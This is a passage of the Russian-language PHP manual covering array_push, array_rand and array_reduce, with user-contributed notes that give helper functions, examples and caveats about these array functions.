Hope this helps someone.
alexander dot williamson at gmail dot com 26-Mar-2008 04:06
This will work to solve the associative array issues:

$aValues[$key] = $value;

Where $key is a unique identifier and $value is the value to be stored. Since the $key works off a string or number, if you already have a $key with the same value as an existing $key, the element will be overwritten.

e.g.

$aValues["one"] = "value of one";
$aValues["two"] = "different value of two!";

gives:
array([one] => "value of one", [two] => "value of two");

but will be overwritten when using the same key (one):

$aValues["one"] = "value of one";
$aValues["one"] = "different value of two!";

will give:

array([one] => "different value of two!");

3686
zbde00 at hotmail dot com 20-Jul-2007 05:59
A very good function to remove a element from array
function array_del($str,&$array)
{
    if (in_array($str,$array)==true)
    {

        foreach ($array as $key=>$value)
        {
            if ($value==$str) unset($array[$key]);
        }
    }
}
Marc Bernet 15-May-2006 09:18
A small and basic implementation of a stack without using an array.

class node
{
        var $elem;
        var    $next;
}
class stack
{
    var $next;
    function pop()
    {
        $aux=$this->next->elem;
        $this->next=$this->next->next;
        return $aux;
    }
    function push($obj)
    {
        $nod=new node;
        $nod->elem=$obj;
        $nod->next=$this->next;
        $this->next=$nod;
    }
    function stack()
    {
        $this->next=NULL;
    }
}
egingell at sisna dot com 28-Jan-2006 06:06
If you push an array onto the stack, PHP will add the whole array to the next element instead of adding the keys and values to the array. If this is not what you want, you're better off using array_merge() or traverse the array you're pushing on and add each element with $stack[$key] = $value.

<?php

$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);

?>
The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => a
     [1] => b
     [2] => c
  )
)
steve at webthoughts d\ot ca 12-Nov-2005 04:02
Further Modification on the array_push_associative function
1.  removes seemingly useless array_unshift function that generates php warning
2.  adds support for non-array arguments

<?
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }else{
           $arr[$arg] = "";
       }
   }
   return $ret;
}

$items = array("here" => "now");
$moreitems = array("this" => "that");

$theArray = array("where" => "do we go", "here" => "we are today");
echo array_push_associative($theArray, $items, $moreitems, "five") . ' is the size of $theArray.<br />';

echo "<pre>";
print_r($theArray);
echo "</pre>";

?>

Yields:

4 is the size of $theArray.
Array
(
    [where] => do we go
    [here] => now
    [this] => that
    [five] =>
)
john 19-Oct-2005 01:33
A variation of kamprettos' associative array push:

// append associative array elements
function associative_push($arr, $tmp) {
  if (is_array($tmp)) {
    foreach ($tmp as $key => $value) {
      $arr[$key] = $value;
    }
    return $arr;
  }
  return false;
}

$theArray = array();
$theArray = associative_push($theArray, $items);
kamprettos at yahoo dot com Teguh Iskanto 19-Sep-2005 05:33
Looking for a way to push data into an associative array and frustrated to know that array_push() can't do the job ?

here's my Scenario :
-------------------
I need to relate system command output into an associative array like these :

[sge@digital_db work]$ /usr/local/apache/htdocs/work/qhost.sh -h t1 -F | awk '{if(NR>4) print $1}' | sed  's/hl://g'
arch=lx24-amd64
num_proc=2.000000
mem_total=3.808G
swap_total=3.907G
virtual_total=7.715G
load_avg=0.000000
load_short=0.000000
load_medium=0.000000
load_long=0.000000
mem_free=3.510G
swap_free=3.907G
virtual_free=7.417G
mem_used=305.242M
swap_used=0.000
virtual_used=305.242M
cpu=0.000000
np_load_avg=0.000000
np_load_short=0.000000
np_load_medium=0.000000
np_load_long=0.000000

how I did it :
<? php

# get into the system command output
$assoc_cmd =`$work_dir/qhost.sh -h $host_resource -F | awk '{if(NR>4) print $1}'| sed  's/hl://g' ` ;

# split the "\n" character
$assoc_row = explode("\n", chop($assoc_cmd));

# get the index row
$idx_row  = count($assoc_row) - 1 ;

# initialize the associative array
$host_res_array = array();

for ($i = 0 ; $i<= $idx_row ; $i++)
        {
                # get params & values
                list($host_param,$host_val) = explode("=",$assoc_row[$i]);

                # populate / push data to assoc array
                $host_res_array[$host_param]= $host_val ;
        }

echo "<pre> Architecture : </pre>\n" ;
echo $host_res_array['arch'] ;
echo "<pre> Mem Total    : </pre>\n" ;
echo $host_res_array['mem_tot'];

?>

Hope this helps ! :)
bk at quicknet dot nl 04-Sep-2005 01:51
Add elements to an array before or after a specific index or key:

<?php

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_before($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos), $in, array_slice($src,$pos));
    else{
        foreach($src as $k=>$v){
            if($k==$pos)$R=array_merge($R,$in);
            $R[$k]=$v;
        }
    }return $R;
}

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_after($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos+1), $in, array_slice($src,$pos+1));
    else{
        foreach($src as $k=>$v){
            $R[$k]=$v;
            if($k==$pos)$R=array_merge($R,$in);
        }
    }return $R;
}

// Examples:

$src=array("A","B","C");
$in=array("X","Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "X"
  [2]=>
  string(1) "Y"
  [3]=>
  string(1) "B"
  [4]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "B"
  [2]=>
  string(1) "X"
  [3]=>
  string(1) "Y"
  [4]=>
  string(1) "C"
}*/

$src=array('a'=>"A",'b'=>"B",'c'=>"C");
$in=array('x'=>"X",'y'=>"Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, key array, before index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_before($src,$in,'b'));
/* array_push_before, key array, before key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, key array, after index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,'b'));
/* array_push_after, key array, after key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

?>
ciprian dot amariei at gmail com 30-Aug-2005 02:47
regarding the speed of oneill's solution to insert a value into a non-associative array,  I've done some tests and I found that it behaves well if you have a small array and more insertions, but for a huge array and a little insersions I sugest  using this function:

function array_insert( &$array, $index, $value ) {
   $cnt = count($array);

   for( $i = $cnt-1; $i >= $index; --$i ) {
       $array[ $i + 1 ] = $array[ $i ];
   }
   $array[$index] = $value;
}

or if you are a speed adicted programmer (same situation: big array, few insertions) use this:

array_splice ( $array, $offset, 0, $item );

item may also be an array of values ;).
Phil Davies 18-Jul-2005 03:51
As someone pointed out the array_push() function returns the count of the array not the key of the new element. As it was the latter function i required i wrote this very simple replacement.

function array_push2(&$array,$object,$key=null){
    $keys = array_keys($array);
    rsort($keys);
    $newkey = ($key==null)?$keys[0]+1:$key;
    $array[$newkey] = $object;
    return $newkey;
}
oneill at c dot dk 03-Jun-2005 01:50
To insert a value into a non-associative array, I find this simple function does the trick:

function insert_in_array_pos($array, $pos, $value)
{
  $result = array_merge(array_slice($array, 0 , $pos), array($value), array_slice($array,  $pos));
  return $result;
}

Seems an awful lot simpler than the iterative solutions given above...
aaron dot hawley at uvm dot edu 27-May-2005 11:36
Skylifter notes on 20-Jan-2004 that the [] empty bracket notation does not return the array count as array_push does.  There's another difference between array_push and the recommended empty bracket notation.

Empy bracket doesn't check if a variable is an array first as array_push does.  If array_push finds that a variable isn't an array it prints a Warning message if E_ALL error reporting is on.

So array_push is safer than [], until further this is changed by the PHP developers.
andrew at cgipro dot com 02-Feb-2005 03:18
Need a real one-liner for adding an element onto a new array name?

$emp_list_bic = $emp_list + array(c=>"ANY CLIENT");

CONTEXT...
drewdeal: this turns out to be better and easier than array_push()
patelbhadresh: great!... so u discover new idea...
drewdeal: because you can't do:   $emp_list_bic = array_push($emp_list, c=>"ANY CLIENT");
drewdeal: array_push returns a count and affects current array.. and does not support set keys!
drewdeal: yeah. My one-liner makes a new array as a derivative of the prior array
bart at framers dot nl 27-Sep-2001 04:16
Array_push also works fine with multidimensional arrays. Just make sure the element is defined as an array first.

<?php
$array["element"][$element]["element"] = array();
array_push ($array["element"][$element]["element"], "banana");
?>


Выбирает один или несколько случайных ключей из массива

  • « array_push
  • array_reduce »
  • PHP Manual
  • Функции для работы с массивами
  • Выбирает один или несколько случайных ключей из массива

array_rand

(PHP 4, PHP 5, PHP 7, PHP 8)

array_rand — Выбирает один или несколько случайных ключей из массива

Описание

array_rand(array $array, int $num = 1): int|string|array

Функция выбирает один или несколько случайных элементов из массива и возвращает ключ, или ключи, случайных элементов.

Предостережение

Функция не создаёт криптографически безопасные значения и не должна использоваться в криптографических целях или целях, которые требуют, чтобы возвращаемые значения были недоступны для разгадывания.

Если нужна криптографически безопасная случайная последовательность, можно использовать класс Random\Randomizer с движком Random\Engine\Secure. Для простых сценариев существуют функции random_int() и random_bytes() с удобным API криптографически безопасного генератора псевдослучайных чисел (CSPRNG), поддерживаемого операционной системой.

Список параметров

array

Непустой входной массив.

num

Определяет сколько элементов выберет функция. Количество элементов должно быть больше нуля и меньше или равно количеству элементов массива array.

Возвращаемые значения

Функция array_rand() возвращает ключ случайного элемента, когда выбирает только один элемент. В остальных случаях функция возвращает массив ключей случайных элементов. Это сделано так, чтобы функция могла выбрать из массива как случайные ключи, так и случайные значения. Функция, когда возвращает массив ключей, вернёт ключи в порядке, в котором их объявили в исходном массиве.

Ошибки

Функция выбросит исключение ValueError, если массив array пуст или значение параметра num выходит за пределы диапазона.

Список изменений

Версия | Описание
8.0.0 | Теперь функция array_rand() выбрасывает исключение ValueError, если значение параметра num выходит за пределы диапазона; раньше функция выдавала ошибку уровня E_WARNING и возвращала значение null.
8.0.0 | Теперь функция array_rand() выбрасывает исключение ValueError, если массив array пуст; раньше функция выдавала ошибку уровня E_WARNING и возвращала значение null.
7.1.0 | Внутренний алгоритм получения случайных чисел изменён с функции rand библиотеки libc на генератор на базе » Вихря Мерсенна.

Примеры

Пример #1 Пример использования функции array_rand()

<?php

$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$rand_keys = array_rand($input, 2);
echo $input[$rand_keys[0]] . "\n";
echo $input[$rand_keys[1]] . "\n";

?>

Смотрите также

  • Random\Randomizer::pickArrayKeys() - Выбирает случайные ключи массива
  • Random\Randomizer::shuffleArray() - Получает перестановку массива

User Contributed Notes

divinity76+spam at gmail dot com 19-Apr-2022 01:36
for a cryptographically secure version, try

<?php

/**
 * fetch a random key from array, using a cryptograpically secure rng
 * discussed+reviewed at https://codereview.stackexchange.com/questions/275832/cryptographically-secure-version-of-the-core-array-rand-function/
 *
 * @param array $array
 * @throws ValueError if array is empty
 * @return int|string key
 */
function array_rand_cryptographically_secure(array $array)/*: int|string*/ {
    $max = count ( $array ) - 1;
    if ($max < 0) {
        throw new ValueError ( 'Argument #1 ($array) cannot be empty' );
    }
    return key ( array_slice ( $array, random_int ( 0, $max ), 1, true ) );
}

$tests = [
        [5, 6, 7],
        ['a' => 1, 'b' => 2, 'c' => 3],
        ['zero', 4 => 'four', 9 => 'nine'],
        ["PEAN"=>0],
        []
];
foreach ($tests as $test) {
    echo array_rand_cryptographically_secure($test) . "\n";
}

?>
(this is an improved version, which unlike the first version, avoids copying *all* the keys)
Vitaly 03-Dec-2021 03:06
Generate random index in weights array.
Implementation of Vose's Alias Method.

<?php
class AliasMethod
{
    protected $count;
    protected $prob;
    protected $alias;

    public function __construct($weight)
    {
        $count = count($weight);
        $sum = array_sum($weight);
        $d = $count / $sum;
        $small = [];
        $large = [];

        foreach ($weight as $i => & $w) {
            if ( ($w *= $d) < 1)
                $small[] = $i;
            else
                $large[] = $i;
        }
        unset($w);

        $prob = [];
        $alias = [];

        while (!empty($small) AND !empty($large)) {
            $l = array_pop($small);
            $g = array_pop($large);
            $prob[$l] = $weight[$l];
            $alias[$l] = $g;

            if ( ($weight[$g] += $weight[$l] - 1) < 1)
                $small[] = $g;
            else
                $large[] = $g;
        }

        foreach ($large as $i)
            $prob[$i] = 1;

        foreach ($small as $i)
            $prob[$i] = 1;

        $this->prob = $prob;
        $this->alias = $alias;
        $this->count = $count;

    }

    public function next(): int
    {
        $i = mt_rand(0, $this->count - 1);
        if (mt_rand() / mt_getrandmax() <= $this->prob[$i])
            return $i;
        else
            return $this->alias[$i];
    }
}

// Usage:

$weight = [1, 2, 1, 1, 100, 1, 1, 5, 1, 1];
$rnd = new AliasMethod($weight);

$results = array_fill(0, count($weight), 0);

for($i = 0; $i < 100000; ++$i) {
    $results[$rnd->next()]++;
}
print_r($results);

/*
 Array
(
    [0] => 901
    [1] => 1785
    [2] => 899
    [3] => 907
    [4] => 87655
    [5] => 867
    [6] => 836
    [7] => 4371
    [8] => 910
    [9] => 869
)
 */
fulachan2 at gmail dot com 30-Sep-2021 07:45
array_rand () takes a random value without ever being able to go back in its choice of random value.
A simple example:
I decide to mix an array of 10 entries to retrieve 3 values. This choice will give increasing and random values.

    $myarray = range(1,10);

    $pm = array_rand($myarray,3);
    // $pm return array(0->0,1->6,2->8)

But if I decide to shuffle an array of 10 entries to get 10 entries, array_rand () will choose to assign a value to each return value and therefore the return array will not be random.

    $gm = array_rand($myarray,count($myarray));
    // $gm not random array(0->0,1->1,2->2,3->3,4->4,5->5,6->6,7->7,8->8,9->9)

The easiest way to have a truly random value:
either use array_rand () in a loop of 1 value at a time

$deg = range(-60,60);
$size = range(16,64);
$color = ["blue","red","green","pink","orange","purple","grey","darkgreen","darkkhaki"];
$i = 0;
$longueur = 10;
do{
    ++$i;
    printf("<span style='transform: rotateZ(%ddeg); display: inline-block;font-size: %spx; color:%s'>%s</span>",
        $deg[array_rand($deg)],
        $size[array_rand($size)],
        $color[array_rand($color)],
        $alnum[array_rand($alnum)]);

}while($i < $longueur);

------------------
or simply use shuffle () to shuffle the array really randomly.
grzeniufication 03-Mar-2018 10:19
<?php

/**
 * Wraps array_rand call with additional checks
 *
 * TLDR; not so radom as you'd wish.
 *
 * NOTICE: the closer you get to the input arrays length, for the n parameter, the  output gets less random.
 * e.g.: array_random($a, count($a)) == $a will yield true
 * This, most certainly, has to do with the method used for making the array random (see other comments).
 *
 * @throws OutOfBoundsException - if n less than one or exceeds size of input array
 *
 * @param array $array - array to randomize
 * @param int $n - how many elements to return
 * @return array
 */
function array_random(array $array, int $n = 1): array
{
    if ($n < 1 || $n > count($array)) {
        throw new OutOfBoundsException();
    }

    return ($n !== 1)
        ? array_values(array_intersect_key($array, array_flip(array_rand($array, $n))))
        : array($array[array_rand($array)]);
}
grzeniufication 03-Mar-2018 09:22
<?php
// An example how to fetch multiple values from array_rand
$a = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g' ];
$n = 3;

// If you want to fetch multiple values you can try this:
print_r( array_intersect_key( $a, array_flip( array_rand( $a, $n ) ) ) );

// If you want to re-index keys wrap the call in 'array_values':
print_r( array_values( array_intersect_key( $a, array_flip( array_rand( $a, $n ) ) ) ) );
Anonymous 13-Jul-2012 02:42
It doesn't explicitly say it in the documentation, but PHP won't pick the same key twice in one call.
Anonymous 02-Oct-2009 01:04
If the array elements are unique, and are all integers or strings, here is a simple way to pick $n random *values* (not keys) from an array $array:

<?php array_rand(array_flip($array), $n); ?>


Итеративно уменьшает массив к единственному значению, используя callback-функцию

  • « array_rand
  • array_replace_recursive »
  • PHP Manual
  • Функции для работы с массивами
  • Итеративно уменьшает массив к единственному значению, используя callback-функцию

array_reduce

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

array_reduce — Итеративно уменьшает массив к единственному значению, используя callback-функцию

Описание

array_reduce(array $array, callable $callback, mixed $initial = null): mixed

array_reduce() итеративно применяет callback-функцию callback к элементам массива array и, таким образом, сводит массив к единственному значению.

Список параметров

array

Входной массив.

callback
callback(mixed $carry, mixed $item): mixed
carry

Содержит результирующее значение с предыдущей итерации; в случае же первой итерации содержит значение параметра initial.

item

Содержит значение текущей итерации.

initial

Если передан необязательный параметр initial, то он будет использован в начале процесса, или в качестве окончательного результата в случае пустого массива.

Возвращаемые значения

Возвращает получившееся значение.

Если массив пуст и не передан параметр initial, array_reduce() вернёт null.

Список изменений

Версия | Описание
8.0.0 | Теперь функция выдаст ошибку уровня E_WARNING, если параметр callback-функции, переданной в параметр callback, ожидает передачу значения по ссылке.

Примеры

Пример #1 Пример использования array_reduce()

<?php
function sum($carry, $item)
{
$carry += $item;
return $carry;
}

function product($carry, $item)
{
$carry *= $item;
return $carry;
}

$a = array(1, 2, 3, 4, 5);
$x = array();

var_dump(array_reduce($a, "sum")); // int(15)
var_dump(array_reduce($a, "product", 10)); // int(1200), потому что: 10*1*2*3*4*5
var_dump(array_reduce($x, "sum", "Нет данных")); // string(19) "Нет данных"
?>

Смотрите также

  • array_filter() - Фильтрует элементы массива с помощью callback-функции
  • array_map() - Применяет callback-функцию ко всем элементам указанных массивов
  • array_unique() - Убирает повторяющиеся значения из массива
  • array_count_values() - Подсчитывает количество вхождений каждого отдельного значения в массиве

User Contributed Notes

xyz at record dot contact 01-Feb-2023 06:16
If you want to reindex an array, say to add an ID to each item as a key, you can use the following:

$array = [['id' => 3, 'name' => 'bob'], ['id' => 4, 'name' => 'alice']];
array_reduce($array, fn($new_array, $item) => $new_array + [$item['id'] => $item], []);

Result:

[ 3 => ["id" => 3, "name" => "bob"], 4 => ['id' => 4, 'name' => 'alice'] ]
itsunclexo at gmail dot com 01-Feb-2022 11:15
Let's see an example of array_reduce() to get the frequency of letters.

<?php

$items = "Hello";

$frequencies = array_reduce(str_split($items),
    function($result, $item) {
        if (isset($result[$item])) {
            $result[$item] += 1;
        } else {
            $result[$item] = 1;
        }
        return $result;
    },
    [] // note the initial is an array
);

print_r($frequencies);

?>

and output should be like:

Array
(
    [H] => 1
    [e] => 1
    [l] => 2
    [o] => 1
)
souzacomprog at gmail dot com 06-Dec-2019 12:16
Sometimes we need to go through an array and group the indexes so that it is easier and easier to extract them in the iteration.

<?php

$people = [
    ['id' => 1, 'name' => 'Hayley'],
    ['id' => 2, 'name' => 'Jack', 'dad' => 1],
    ['id' => 3, 'name' => 'Linus', 'dad'=> 4],
    ['id' => 4, 'name' => 'Peter' ],
    ['id' => 5, 'name' => 'Tom', 'dad' => 4],
];

$family = array_reduce($people, function($accumulator, $item) {
    // if you don't have a dad you are probably a dad
    if (!isset($item['dad'])) {
        $id = $item['id'];
        $name = $item['name'];
        // take the children if you already have
        $children = $accumulator[$id]['children'] ?? [];
        // add dad
        $accumulator[$id] = ['id' => $id, 'name' => $name,'children' => $children];
        return $accumulator;
    }

    // add a new dad if you haven't already
    $dad = $item['dad'];
    if (!isset($accumulator[$dad])) {
        // how did you find the dad will first add only with children
        $accumulator[$dad] = ['children' => [$item]];
        return $accumulator;
    }

    //  add a son to his dad who has already been added
    //  by the first or second conditional "if"

    $accumulator[$dad]['children'][] = $item;
    return $accumulator;
}, []);

var_export(array_values($family));

?>

OUTPUT

array (
  0 =>
  array (
    'id' => 1,
    'name' => 'Hayley',
    'children' =>
    array (
      0 =>
      array (
        'id' => 2,
        'name' => 'Jack',
        'dad' => 1,
      ),
    ),
  ),
  1 =>
  array (
    'id' => 4,
    'name' => 'Peter',
    'children' =>
    array (
      0 =>
      array (
        'id' => 3,
        'name' => 'Linus',
        'dad' => 4,
      ),
      1 =>
      array (
        'id' => 5,
        'name' => 'Tom',
        'dad' => 4,
      ),
    ),
  ),
)

<?php
$array = [
  [
    "menu_id" => "1",
    "menu_name" => "Clients",
    "submenu_name" => "Add",
    "submenu_link" => "clients/add"
  ],
  [
    "menu_id" => "1",
    "menu_name" => "Clients",
    "submenu_name" => "List",
    "submenu_link" => "clients"
  ],
  [
    "menu_id" => "2",
    "menu_name" => "Products",
    "submenu_name" => "List",
    "submenu_link" => "products"
  ],
];

//Grouping submenus to their menus

$menu =  array_reduce($array, function($accumulator, $item){
  $index = $item['menu_name'];

  if (!isset($accumulator[$index])) {
    $accumulator[$index] = [
      'menu_id' => $item['menu_id'],
      'menu_name' => $item['menu_name'],
      'submenu' => []
    ];
  }

  $accumulator[$index]['submenu'][] = [
    'submenu_name' => $item['submenu_name'],
    'submenu_link' => $item['submenu_link']
  ];

  return $accumulator;
}, []);

var_export(array_values($menu));

?>

OUTPUT

array (
  0 =>
  array (
    'menu_id' => '1',
    'menu_name' => 'Clients',
    'submenu' =>
    array (
      0 =>
      array (
        'submenu_name' => 'Add',
        'submenu_link' => 'clients/add',
      ),
      1 =>
      array (
        'submenu_name' => 'List',
        'submenu_link' => 'clients',
      ),
    ),
  ),
  1 =>
  array (
    'menu_id' => '2',
    'menu_name' => 'Products',
    'submenu' =>
    array (
      0 =>
      array (
        'submenu_name' => 'List',
        'submenu_link' => 'products',
      ),
    ),
  ),
)
Julian Sawicki 02-Dec-2019 08:28
Array reduce offers a way to transform data.
Please look at the array below. The array has 4 nested array's.
The nested array's have the same keys. Only the value is different.

This code transforms the whole array. See below.

$array = array(
    0 => array('id' => '100', 'name' => 'Henk', 'age' => '30'),
    1 => array('id' => '101', 'name' => 'Piet', 'age' => '33'),
    2 => array('id' => '102', 'name' => 'Wim', 'age' => '43'),
    3 => array('id' => '103', 'name' => 'Jaap', 'age' => '53'),
);

$arr = array_reduce($array, function($carry, $item){

    $arr = array(
        'id' => $item['id'],
        'value' => $item['name'],
    );

    $id = $item['id'];
    $carry[$id] = $arr;

    return $carry;
}, array());

var_dump($arr);

// OUTPUT

array (size=4)
100 => array (size=2)
   'id' => string '100' (length=3)
   'value' => string 'Henk' (length=4)
101 => array (size=2)
   'id' => string '101' (length=3)
   'value' => string 'Piet' (length=4)
102 => array (size=2)
   'id' => string '102' (length=3)
   'value' => string 'Wim' (length=3)
103 => array (size=2)
   'id' => string '103' (length=3)
   'value' => string 'Jaap' (length=4)
849330489 at qq dot com 12-Oct-2019 01:33
The first parameter $array can be also be functions, which produces very interesting and powerful result, which can be used to make an union of middlewares.

<?php

$f1 = function($x, $f){
    echo 'middleware 1 begin.'.PHP_EOL;
    $x += 1;
    $x = $f($x);
    echo 'middleware 1 end.'.PHP_EOL;
    return $x;
};

$f2 = function($x, $f){
    echo 'middleware 2 begin: '.PHP_EOL;
    $x += 2;
    $x = $f($x);
    echo 'middleware 2 end.'.PHP_EOL;
    return $x;
};

$respond = function($x){
    echo 'Generate some response.'.PHP_EOL;
    return $x;
};

$middlewares = [$f1, $f2];
$initial = $respond;
$foo = array_reduce($middlewares, function($stack, $item){
    return function($request) use ($stack, $item){
        return $item($request, $stack);
    };
}, $initial);

$x = 1;
echo $foo($x);

?>

//output:
middleware 2 begin:
middleware 1 begin.
Generate some response.
middleware 1 end.
middleware 2 end.
4
galley dot meng at gmail dot com 15-Mar-2017 05:48
If your array has string keys, you can reduce a two-dimensional array into one-dimensional using array_reduce, array_merge and array_values. (PHP>=5.3.0)

<?php

$two_dimensional = array();

$two_dimensional['foo'] = array('a' => 1, 'b' => 2, 'c' => 3);
$two_dimensional['bar'] = array('a' => 4, 'b' => 5, 'c' =>6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());

$one_dimensional = array_reduce($two_dimensional, function ($one_dimensional, $value) {
    return array_merge($one_dimensional, array_values($value));
}, array());

# becomes array(1, 2, 3, 4, 5, 6)
directrix1 at gmail dot com 03-Nov-2015 04:39
So, if you were wondering how to use this where key and value are passed in to the function. I've had success with the following (this example generates formatted html attributes from an associative array of attribute => value pairs):

<?php

    // Attribute List
    $attribs = [
        'name' => 'first_name',
        'value' => 'Edward'
    ];

    // Attribute string formatted for use inside HTML element
    $formatted_attribs = array_reduce(
        array_keys($attribs),                       // We pass in the array_keys instead of the array here
        function ($carry, $key) use ($attribs) {    // ... then we 'use' the actual array here
            return $carry . ' ' . $key . '="' . htmlspecialchars( $attribs[$key] ) . '"';
        },
        ''
    );

echo $formatted_attribs;

?>

This will output:
 name="first_name" value="Edward"
cwu at nolo dot com 18-Sep-2015 07:34
The single value returned by array_reduce() can be an array -- as illustrated in the following example:
<?php
# calculate the average of an array
function calculate_sum_and_count($sum_and_count, $item)
{
  list($sum, $count) = $sum_and_count;
  $sum += $item;
  $count += 1;
  return [$sum, $count];
}

$a = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
$initial_sum_and_count = [0, 0];
list($sum, $count) = array_reduce($a, "calculate_sum_and_count", $initial_sum_and_count);
echo $sum / $count;
?>
aiadfaris at yahoo dot de 29-May-2014 08:16
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
aiadfaris at yahoo dot de 29-May-2014 08:14
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
magnesium dot oxide dot play+php at gmail dot com 11-Apr-2014 05:27
You can reduce a two-dimensional array into one-dimensional using array_reduce and array_merge. (PHP>=5.3.0)

<?php

$two_dimensional = array();
$two_dimensional['foo'] = array(1, 2, 3);
$two_dimensional['bar'] = array(4, 5, 6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());
# becomes array(1, 2, 3, 4, 5, 6)
Altreus 26-Feb-2014 02:30
You can effectively ignore the fact $result is passed into the callback by reference. Only the return value of the callback is accounted for.

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function(&$res, $a) { $res += $a; },
    0
));

# NULL

?>

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function($res, $a) { return $res + $a;  },
    0
));

# int(10)
?>

Be warned, though, that you *can* accidentally change $res if it's not a simple scalar value, so despite the examples I'd recommend not writing to it at all.
kon 03-Dec-2012 01:12
Walking down related object's properties using array_reduce:

<?php
  $a=new stdClass;
  $a->b=new stdClass;
  $a->b->c="Hello World!\n";

  $reductionPath=array("b","c");

  print_r(
    array_reduce(
      $reductionPath,
      function($result, $item){
        return $result->$item;
      },
      $a
    )
  );
?>
ruslan dot zavackiy at gmail dot com 06-Jul-2012 08:29
If you want something elegant in your code, when dealing with reducing array, just unshift first element, and use it as initial, because if you do not do so, you will + first element with first element:

<?php
$arr = array(
    array('min' => 1.5456, 'max' => 2.28548, 'volume' => 23.152),
    array('min' => 1.5457, 'max' => 2.28549, 'volume' => 23.152),
    array('min' => 1.5458, 'max' => 2.28550, 'volume' => 23.152),
    array('min' => 1.5459, 'max' => 2.28551, 'volume' => 23.152),
    array('min' => 1.5460, 'max' => 2.28552, 'volume' => 23.152),
);

$initial = array_shift($arr);

$t = array_reduce($arr, function($result, $item) {
    $result['min'] = min($result['min'], $item['min']);
    $result['max'] = max($result['max'], $item['max']);
    $result['volume'] += $item['volume'];

    return $result;
}, $initial);
?>
php at keith tyler dot com 18-Apr-2010 03:30
If you do not provide $initial, the first value used in the iteration is NULL. This is not a problem for callback functions that treat NULL as an identity (e.g. addition), but is a problem for cases when NULL is not identity (such as boolean context).

Compare:

<?php
function andFunc($a, $b) {
  return $a && $b;
}
$foo = array(true, true, true);
var_dump(array_reduce($foo, "andFunc"));
?>

returns false! One would expect that it would return true because `true && true && true == true`!

Adding diagnostic output to andFunc() shows that the first call to andFunc is with the arguments (NULL, true). This resolves to false (as `(bool) null == false`) and thereby corrupts the whole reduction.

So in this case I have to set `$initial = true` so that the first call to andFunc() will be (true, true). Now, if I were doing, say, orFunc(), I would have to set `$initial = false`. Beware.

Note that the "rmul" case in the example sneakily hides this defect! They use an $initial of 10 to get `10*1*2*3*4*5 = 12000`. So you would assume that without an initial, you would get `1200/10 = 120 = 1*2*3*4*5`. Nope! You get big fat zero, because `int(null)==0`, and `0*1*2*3*4*5 = 0`!

I don't honestly see why array_reduce starts with a null argument. The first call to the callback should be with arguments ($initial[0],$initial[1]) [or whatever the first two array entries are], not (null,$initial[0]). That's what one would expect from the description.

Incidentally this also means that under the current implementation you will incur `count($input)` number of calls to the callback, not `count($input) - 1` as you might expect.
Hayley Watson 23-Oct-2007 02:49
To make it clearer about what the two parameters of the callback are for, and what "reduce to a single value" actually means (using associative and commutative operators as examples may obscure this).

The first parameter to the callback is an accumulator where the result-in-progress is effectively assembled. If you supply an $initial value the accumulator starts out with that value, otherwise it starts out null.
The second parameter is where each value of the array is passed during each step of the reduction.
The return value of the callback becomes the new value of the accumulator. When the array is exhausted, array_reduce() returns accumulated value.

If you carried out the reduction by hand, you'd get something like the following lines, every one of which therefore producing the same result:
<?php
array_reduce(array(1,2,3,4), 'f',         99             );
array_reduce(array(2,3,4),   'f',       f(99,1)          );
array_reduce(array(3,4),     'f',     f(f(99,1),2)       );
array_reduce(array(4),       'f',   f(f(f(99,1),2),3)    );
array_reduce(array(),        'f', f(f(f(f(99,1),2),3),4) );
f(f(f(f(99,1),2),3),4)
?>

If you made function f($v,$w){return "f($v,$w)";} the last line would be the literal result.

A PHP implementation might therefore look something like this (less details like error checking and so on):
<?php
function array_reduce($array, $callback, $initial=null)
{
    $acc = $initial;
    foreach($array as $a)
        $acc = $callback($acc, $a);
    return $acc;
}
?>
yuki [dot] kodama [at] gmail [dot] com 31-Jan-2007 08:56
This code will reduce array deeply.

<?php
function print_s($s) {
    return is_null($s) ? "NULL" : (is_array($s) ? "Array" : ($s ? "TRUE" : "FALSE"));
}
